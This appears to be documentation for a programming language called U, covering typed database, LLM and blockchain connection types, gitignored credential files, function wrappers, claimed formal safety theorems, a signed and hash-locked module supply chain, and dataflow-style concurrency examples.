// Module definition (inside DB package): module DB[C : DbConnection] // C must extend DbConnection module LLM[C : LLMConnection] // C must extend LLMConnection o DB[LLMConnection.Staging] { sql } // ✗ compile error — wrong connection type o DB[DbConnection.Replica] { sql } // ✓ Replica extends DbConnection
Connection types — enums with fields, inheritance chains
Connections are types — classes with fields — not strings or dictionaries. Each level inherits from its parent and overrides only what differs. The chain can be as deep as needed.
// Base connection type — default values for everything d DbConnection dsn: S pool: I = 10 timeout: I = 30 ssl: L = true // Cloud variant — larger pool, inherits everything else d DbConnection.Cloud : DbConnection pool: 50 // Replica — inherits Cloud defaults, overrides dsn only d DbConnection.Cloud.Replica : DbConnection.Cloud dsn: "postgres://replica.internal/mydb" // Archive — slow queries, small pool d DbConnection.Archive : DbConnection dsn: "postgres://archive.internal/mydb" pool: 2 timeout: 120 // LLM connections — same pattern d LLMConnection api_key: S // injected by operator — never a literal in source base_url: S model: S timeout: I = 30 d LLMConnection.Staging : LLMConnection base_url: "https://staging.api.anthropic.com" model: "claude-sonnet-4-6" // api_key: injected by operator, never in source
When there is one binding for a capability, no [Param] is needed at the call site. When multiple bindings exist, the parameter resolves ambiguity:
o DB { sql } // one binding sql`SELECT * FROM users`() // unambiguous — no [Param] needed o DB { sql } // two bindings — ambiguous o DB[DbConnection.Replica] { sql } // sql`SELECT...`() // ✗ compile error — ambiguous sql[DbConnection.Replica]`SELECT...`() // ✓ explicit sql[Default]`SELECT...`() // ✓ explicit default
The router is the capability
The app never talks directly to a physical database or LLM. The o DB { sql } capability is bound at deploy time to a router — which holds credentials, routing policy, connection pooling, and failover. The app is completely decoupled:
o DB { sql } // one logical capability o LLM { prompt } // one logical capability sql`SELECT * FROM articles WHERE topic = {topic}`() // router decides: // — which physical DB (multi-tenant routing) // — primary vs replica (read/write split) // — connection pool management // — failover on connection error // App code never changes when any of this changes a summarize(doc: article.body, n: 40) // LLM router decides: // — which provider (Claude, GPT-4, Gemini) // — routing by cost, latency, capability // — fallback on provider failure // API key never in source — lives in the router
Credential files — local/config/*.uc
Concrete connection values (DSNs, API keys, base URLs) live in .uc files inside local/config/ — gitignored by convention and enforced by the compiler. The compiler errors if a concrete *Connection subtype with literal field values appears outside local/config/. You cannot accidentally commit credentials.
src/ connections.u // type skeletons — committed, no values main.u local/ // gitignored — created by u init config/ db.uc // concrete DbConnection values — never committed llm.uc // concrete LLMConnection values — never committed .gitignore local/ // added automatically by u init u.lock // dependency hashes — committed
// Same U syntax — fully typed, validated against src/connections.u // Compiler errors if this file is outside local/config/ d DbConnection.Cloud.Replica : DbConnection.Cloud dsn: "postgres://replica.internal/mydb?sslmode=require" d DbConnection.Archive : DbConnection dsn: "postgres://archive.internal/mydb" pool: 2 timeout: 120
o DB { sql } declaration — has no credentials in source anywhere. Adding a second connection requires a .uc file in local/config/. Writing credentials in a .u file outside that folder is a compile error. The unsafe path requires actively circumventing the system. Rotating credentials means updating the router config or .uc file — never touching source code, never redeploying the app.
Reusable wrapped function variables
Assign a compiled template function to a variable, wrap it with c f decorators, and reuse it anywhere. Libraries can return pre-wrapped getters — the caller gets memoisation, debounce, and batching in one line.
// Library: build a memoised, debounced, batched getter from any query f make_getter[T](query: F(I) -> T+A) -> F(I) -> T+A r => c memo(c debounce(50, c batch(100, query))) // App: assign once — fully typed, fully wrapped get_profile = make_getter[Profile]( sql`SELECT * FROM users WHERE id = {id: I}` ) get_article = make_getter[Article]( sql`SELECT * FROM articles WHERE id = {id: I}` ) get_summary = make_getter[S]( c memo(prompt`Summarize {doc: S} in {n: I} words`) ) // Call anywhere — identical to any other function profile = a get_profile(42) article = a get_article(id)
The cache key for c memo is derived automatically: the compile-time function hash (from the bundle Merkle tree) plus a hash of the typed inputs. Changing the query or prompt changes the function hash and busts the cache correctly — no manual cache invalidation.
// c f wrappers compose freely — applied at compile time, zero runtime overhead fetch_user = c retry(3, c timeout(5000, c trace("db.user", sql`SELECT * FROM users WHERE id = {id: I}`))) // Same pattern for LLM calls summarize = c memo( c retry(2, c rate_limit(10, prompt`Summarize {doc: S} in {n: I} words`))) // The wrapped function has the same type as the unwrapped one // summarize: F(doc: S, n: I) -> S+A — interface unchanged
EVM chains — connection enums per ecosystem
Different blockchains are different connection enum values. Each chain inherits from a base and overrides only what differs. The same template tag works across all chains — the connection enum selects the target.
d EVMConnection chain_id: I rpc_url: S // injected by operator — never in source block_time: I = 12 d EVMConnection.Ethereum : EVMConnection // chain_id: 1, block_time: 12 d EVMConnection.Polygon : EVMConnection // chain_id: 137, block_time: 2 d EVMConnection.Base : EVMConnection // chain_id: 8453, block_time: 2 d EVMConnection.BSC : EVMConnection // chain_id: 56, block_time: 3 // L2s inherit from L1 and override chain_id + block_time: d EVMConnection.Arbitrum : EVMConnection.Ethereum chain_id: 42161 block_time: 1 // 1-second blocks, everything else from Ethereum d EVMConnection.Goerli : EVMConnection.Ethereum chain_id: 5 // testnet — same shape as mainnet
o EVM { eip712, abi } // any chain, injected at deploy o EVM[EVMConnection.Ethereum] { eip712 } // pin to mainnet o EVM[EVMConnection.Polygon] { eip712 } // pin to Polygon // Same template, different chain — compile-time ABI validation on both eip712[EVMConnection.Ethereum]` Transfer { to: {recipient: S}, value: {amount: I} } `() eip712[EVMConnection.Polygon]` Transfer { to: {recipient: S}, value: {amount: I} } `() // Multi-chain bridge — explicit params disambiguate a f bridge(amount: I, from: EVMConnection, to: EVMConnection) -> TxHash+A lock = a eip712[from]`Lock { amount: {amount: I} }`() a eip712[to]`Mint { amount: {amount: I}, proof: {lock.proof: S} }`()
The pattern works identically for any ecosystem that has chain variation: Substrate chains (PolkadotConnection.Kusama), Cosmos zones, Solana clusters (SolanaConnection.Mainnet / .Devnet). Each ecosystem defines its own *Connection base type. The capability system, connection inheritance, and .uc credential files all work the same way.
*Connection type hierarchy, instantiate the capability with o Module[Connection] { tags }, wrap compiled functions with c f decorators, assign to typed variables, reuse freely. No special cases. No framework required.
Formal Guarantees
Every safety claim in U is backed by a proved theorem in the formal calculus λ_U.
| # | Theorem | What it proves |
|---|---|---|
| 1 | Modifier-Optimization Correspondence | Each annotation is a sound compiler transformation license: -R→stack alloc, -M→no sync, -N→no null check, +A→exact fiber frame |
| 2 | ARC-Freedom | Well-typed -R programs contain zero heap allocations or ARC operations |
| 3 | Race-Freedom | Well-typed programs have no data races |
| 4 | Proxy Safety | Every +R +M mutation passes through a proxy satisfying its declared policy |
| 5 | Type Soundness | Well-typed programs do not get stuck (Progress + Preservation) |
| 6 | Red-Blue Freedom | All functions may call all functions without async annotation change |
| 7 | Fiber Frame Minimization | Suspension frame contains exactly the +A-annotated live values — no more |
| 8 | Signature Completeness | Function signatures are machine-verified contracts for all three modifier dimensions |
| 9 | Template Safety | All {expr} in html/sql/msg are escaped at compile time — injection is a type error |
| 10 | Localization Completeness | Missing locale keys and placeholder mismatches are compile-time type errors |
| 11 | Stack-Frame Confinement | -R values passed to -R functions cannot be retained beyond the call |
| 12 | Compilation Correctness | Compilation to C/WASM preserves semantics and places -R on stack, +R on heap |
| 13 | Domain Oracle | +V/+C/+A domain decisions are exact reads of type annotations — no analysis needed |
| 14 | .x() Safety | All .x() iterations are bounded, non-invalidating, and bounds-safe |
| 15 | Conditional Completeness | &, |, ?? are expressively complete for all conditional patterns |
| 16 | Unsafe Convention Soundness | Programs with no ! suffixes have no out-of-bounds, divide-by-zero, or unchecked overflow |
Module Security — Integrity, Signing, and Audit
U's safety guarantees extend from the type system all the way to the module supply chain. The cap system tells the compiler what a module can touch; the signing system tells you whether that module is what it claims to be. Neither is optional in production.
The threat model
Metaprogramming makes supply chain attacks more dangerous than in ordinary languages. A module loaded with c Auth.check_token can replace your authentication. The cap declaration makes this visible — but visibility alone is not enough if the module's bytes have been tampered with between publish and install.
| Attack | Mitigated by |
|---|---|
| Malicious module replacing uncapped method | Cap system — caller must explicitly grant c cap |
| Supply chain — module replaced on disk/registry | u.lock hash verification |
| Compromised maintainer account | M-of-N signing — one account breach is not enough |
| Silent registry substitution | Transparency log — every publish event is publicly immutable |
| Unbounded runtime cap surface | dynamic_grantable whitelist in root module |
Second-stage payload in c f | c f purity — no I/O, no network at compile time |
| Cap escalation through sub-loading | Non-escalation — loader can only grant caps it already holds |
Layer 1 — dynamic_grantable: bounding the runtime cap surface
The root module pre-declares every c cap that any dynamically loaded module can ever receive. This creates a single audit point: one block, one file, complete picture.
o App { Network.HTTP, Database.Postgres, dynamic_grantable: [ // ONLY these c caps can ever be granted via a o() c Network.HTTP.get, c Network.HTTP.post, c Logger.log ] } o => { main } // Anywhere in the codebase: a o("auth", { c Network.HTTP.get }) // ✓ in dynamic_grantable a o("rogue", { c Crypto.hash }) // ✗ compile error — not pre-declared
Layer 2 — u.lock: module identity
Every module — static and dynamic — is fingerprinted. u install writes the lock file. u verify checks it in CI. A module whose bytes don't match its recorded hash never loads.
# Static imports: [module."Analytics.HTTP"] hash = "sha256-a3f8b29c4d1e7f..." version = "1.4.0" required_sigs = 2 sigs = ["[email protected]:sha256:3f7a...", "[email protected]:sha256:8c2d..."] log_url = "https://u.registry/log/12345" # Dynamic loads — must be pre-registered: [dynamic."auth_middleware"] hash = "sha256-b1c4d7e2f3a8..." required_sigs = 2 sigs = ["[email protected]:sha256:7d2e...", "[email protected]:sha256:1b3f..."] log_url = "https://u.registry/log/12346"
u.lock → hard error. No unknown modules can ever execute, even if the path string is constructed at runtime. u install must pre-register every possible dynamic path value.Layer 3 — M-of-N signing: cap-driven trust thresholds
The cap surface determines how many independent reviewers must sign before a module can be installed. No committee needed — the registry policy is automatic:
| Module declares | Required signatures | Rationale |
|---|---|---|
No c caps | M=1, N=1 (author only) | Low risk — no call table modifications |
c Logger.* | M=1, N=2 | One independent reviewer |
c Network.* | M=2, N=3 | Security-sensitive — two reviewers |
c Auth.* | M=2, N=3 | Authentication-critical |
c Crypto.* | M=3, N=5 | Highest sensitivity |
c *.public_methods | M=4, N=7 | Wildcard — near-impossible intentionally |
A logging module that quietly adds c Auth.check_token to its caps suddenly needs 2-of-3 signatures. That friction is the security — cap inflation is automatically expensive.
# Author submits — not yet installable: u publish # uploads draft, registry computes required sigs from caps # Designated reviewers audit source and sign: u cosign [email protected] # reviewer 1 — runs u audit, reviews __load__ u cosign [email protected] # reviewer 2 — M=2 reached → module goes live # All signatures logged to public transparency log — immutable: # https://u.registry/log/Auth.Middleware/1.2.3 # Consumer: u install Auth.Middleware # verifies hash + sig count + transparency log u verify # CI step — all four checks, hard stop on any failure
Layer 4 — Root hash: program identity
The root hash is a Merkle tree over the entire dependency graph — your source plus every dependency's hash, recursively. One hash = one immutable fingerprint of the complete program.
u hash # sha256-7f3a9b2c4d... # Covers: # main.u bytes # └── [email protected] (hash + 2 sigs) # └── [email protected] (hash + 2 sigs) # └── [email protected] (hash + 1 sig) u diff sha256-7f3a9b2c sha256-4d1e8f3a # what changed between two deployments? # Auth.Middleware: line 47 modified # u.lock: Analytics.HTTP 1.4.0 → 1.4.1
Change a comment in any transitive dependency → root hash changes. Identical root hashes means identical bytes across the entire tree, provably.
Layer 5 — u audit: static security linter
A full security posture report without running the program. Reads source, u.lock, and dynamic_grantable.
✓ All dynamic loads registered in u.lock ✓ All a o() caps within dynamic_grantable ✓ c f functions call only c f (purity) ✓ Non-escalation: no a o() grants exceed caller caps ✓ All modules meet signing threshold for their cap surface ⚠ Auth.Middleware claims c Auth.check_token — high sensitivity, verify manually ⚠ 2 dynamic paths are runtime variables — ensure all values pre-registered Cap modification surface (complete): Network.HTTP.get ← Analytics.HTTP.__load__ → Auth.Middleware.__load__ Network.HTTP.post ← Auth.Middleware.__load__ Logger.log ← Logging.Tracer.__load__ Composition chain for Network.HTTP.get: original → c trace(...) → c retry(...,3) → c inject_auth(...) Security score: A- (2 warnings, 0 errors) Pinned to: sha256-7f3a9b2c4d... (immutable — auditable by LLM or human reviewer)
sha256-7f3a9b2c and it can reconstruct the full module tree from u.lock, read every cap declaration, trace every c f __load__() chain, and produce a security review pinned to an exact, immutable code state. "We audited sha256-7f3a9b2c, signed by Alice and Bob" is a verifiable statement anyone can reproduce. This is fundamentally different from auditing a mutable codebase — the hash makes the audit a permanent artifact.Comparison with existing ecosystems
| npm | Cargo | PyPI | U | |
|---|---|---|---|---|
| Hash lockfile | ✓ | ✓ | ✗ | ✓ |
| Required signing | ✗ | ✗ | ✗ | ✓ M-of-N |
| Cap-driven threshold | ✗ | ✗ | ✗ | ✓ automatic |
| Transparency log | ✗ | ✗ | ✗ | ✓ required |
| Root program hash | ✗ | ✗ | ✗ | ✓ |
| Static cap audit | ✗ | ✗ | ✗ | ✓ u audit |
| Bounded runtime surface | ✗ | ✗ | ✗ | ✓ dynamic_grantable |
Everything Together — Composability & the Pit of Success
U's type system is not a collection of independent safety features bolted together. Promises, events, exceptions, ownership, and iteration are all expressions of the same underlying model. The pit of success means the natural thing to write is also the correct thing. These scenarios show why.
Scenario 1 — Fetch, fanout, collect, handle
The classic parallel fetch. In JavaScript this requires Promise.all(), .catch(), and careful attention to which errors propagate where. In U the types enforce the structure.
d Article { title: S, body: S, author: S } a f load_dashboard(ids: [I]) // Error policy declared upfront — happy path reads clean below e.x(MyLib.network_policies) // typed array: [log, notify, retry] e.x((err: NotFoundError) => show_empty()) // Start N concurrent fetches — map returns [Article +A] pending: [Article+A] = ids.map((id) => a fetch_article(id)) // Await all — input order preserved, time = max not sum articles: [Article] = pending.all() // Any rejected fetch_article → NetworkError → e.x() fires above // No .catch(), no try/catch, no Promise.all().catch() dance render(articles)
Scenario 2 — Race with fallback
Try the cache first; if it times out, fall back to the network. The winner takes it. The loser is ignored. .any() returns T +N +A — nullable because nothing might win.
a f load_config() -> Config e.x((err: NetworkError) => r => Config.defaults()) cache = a fetch_from_cache() // Config+N+A — inferred remote = a fetch_from_network() // Config+N+A — inferred winner: Config+N+A = [cache, remote].any() r => winner ?? Config.defaults()
Scenario 3 — Event stream with typed dispatch
A UI component subscribes to events, each handler typed. Error handling is a separate concern registered before the event logic. RAII closes the subscription when the component is destroyed.
d ClickEvent { x: I, y: I, button: I } d ResizeEvent { width: I, height: I } d Canvas+R(RAII) clicks: ClickEvent+A+R resizes: ResizeEvent+A+R f drop(canvas: Canvas+R) // fires when last ref drops canvas.clicks.unsubscribe() // cleanup automatic canvas: Canvas+R = Canvas.create() // Error policy for canvas event handlers e.x((err: RenderError) => log_and_skip(err)) canvas.clicks.x((evt) => paint(evt.x, evt.y)) canvas.clicks.x((evt) => log_interaction(evt)) canvas.resizes.x((evt) => relayout(evt.width, evt.height)) // No unsubscribe logic — RAII handles it when canvas scope exits
Scenario 4 — Shared state with concurrent workers
Multiple fibers read a config that can be hot-reloaded. MVCC means readers never block. The policy is declared once on the binding; callers need no locking code.
config: AppConfig+R+M(MVCC) = AppConfig.load() // N concurrent workers — all reading config simultaneously pending: [Result+A] = jobs.map((job) => a run_job(job, config)) results: [Result] = pending.all() // Hot-reload fires while workers are running config.reload() // MVCC: new version; in-flight workers see old version // No mutex, no lock, no blocking. Policy handles it.
Why this is the pit of success
Default is safe
Zero annotations = stack-allocated, immutable, non-null, synchronous. The safest possible program requires no effort. Complexity is opt-in via modifiers.
One mechanism, many contexts
.x() handles events, errors, iteration, and policy registration. .all() and .any() handle promise collections. T +N is nullable everywhere. No special cases.
Error handling is a preamble
e.x(policies) before the happy path. Policies are typed arrays — reusable across 100 call sites. The happy path reads as if errors don't exist, because the compiler verified they're covered.
Type-indexed dispatch
Events, errors, and promises all dispatch by type. No string names. No untyped catch-all. The compiler knows exactly what types flow through every channel at every call site.
Policy declared once
RAII, MVCC, Actor, ARC — declared at the binding site. Every consumer gets the right behavior automatically. No per-call locking code, no per-call cleanup code.
Full stack preserved
Stackful fibers. Exceptions carry the complete trace from main through every intermediate caller. Unlike JavaScript where await destroys call context.
The Program IS the Graph
In U, +A values are edges and fibers are nodes. The scheduler merely follows readiness. Which means the program becomes a demand-driven dataflow graph — automatically, without a separate graph language.
x = a compute_x() // node x y = a compute_y() // node y z = a combine(x, y) // node z — edges from x and y emerge automatically w = a render(z) // node w — edge from z // x ──┐ // z ── w // y ──┘ // No graph.add_edge(x, z). No indegree counters. // No Kahn's algorithm. The graph IS the program.
This places U in the company of systems built explicitly around DAG execution:
| System | DAG language | How graph is declared |
|---|---|---|
| Spreadsheets | Cell formulas | Formula references (=A1+B1) declare edges explicitly |
| TensorFlow 1.x | Python graph API | tf.add(x, y) — explicit node construction |
| Dask | Python delayed API | dask.delayed(f)(x, y) — explicit deferral |
| Make / Bazel | Build DSL | Separate file declaring targets and dependencies |
| Airflow / Prefect | DAG DSL + YAML | Decorator-annotated Python + DAG object construction |
| RxJS | Observable operators | Observable pipeline — separate reactive graph DSL |
| U | None — it's just code | a f(x, y) — the assignment declares the edge |
Every other system requires a second representation: a graph object, a DSL, a YAML file, a decorator. U has one representation — the program. The +A type is both the runtime mechanism and the edge declaration. There is no duplication.
Streams are infinite DAGs — reactive falls out
prices: Price+w+A // a stream — infinite sequence of Price values prices.x(update_ui) // transform: every new Price → update_ui // That's it. That's reactive programming. // No Observable. No subscribe(). No RxJS. No Combine. // prices is a node. update_ui is an edge. The scheduler follows readiness. // Compose: transform a stream through a pipeline filtered = prices.filter((p) => p.change > 0.05 ? none ! false) formatted = filtered.map((p) => format_price(p)) formatted.x(update_ui) // prices → filter → map → update_ui : a reactive pipeline, written as ordinary U
Imperative programs become declarative accidentally
The most striking aspect: you are not trying to build a DAG. You are writing ordinary sequential-looking code. The DAG emerges because:
- Values know whether they're available (
TvsT+A) .x()means transform- Assignment forces resolution (auto-await)
- Fibers suspend and resume
So the runtime discovers topological order by executing the program itself. The scheduler is not running Kahn's algorithm on a graph object you built — it is Kahn's algorithm, embodied in the suspension and resumption of fibers. The program is the graph traversal.
Lambda calculus doesn't need an explicit graph algorithm because β-reduction already defines the graph. Evaluation order falls out of the substitution rules. You don't declare a dependency graph and then reduce it — you reduce expressions and the dependency graph is the trace of that reduction.
Likewise, U doesn't need Kahn's algorithm because suspension and value dependencies already define the topological ordering. The scheduler doesn't run an algorithm on a data structure you built — it executes code and the data structure emerges as a side effect of that execution.
One program, five interpretations
a = load_config() // step 1 b = load_schema() // step 2 c = build(a, b) // step 3 — depends on a and b d = render(c) // step 4 — depends on c
This same code is simultaneously:
- Sequential code — if none of these are
+A, it runs top to bottom, one step at a time - Concurrent code — if
aandbare+A, they fire in parallel;cwaits for both - A dependency graph —
cdepends onaandb;ddepends onc - A dataflow graph — values flow from producers to consumers along
+Aedges - A build graph — like Make, but the targets and dependencies are just variables
The interpretation depends only on which values are +A. No second representation. No framework import. No scheduler DSL. No Airflow YAML. No Rx graph. The policy is in the type. The graph is in the code. They are the same thing.
e.x() is error handling, event dispatch, and promise resolution depending on type. The same o is module import and capability declaration. The same template tag is compile-time validator and runtime producer. And the same sequential program is a dependency graph, a dataflow graph, and a build system — depending only on +A. Each time: one representation, multiple interpretations, no duplication.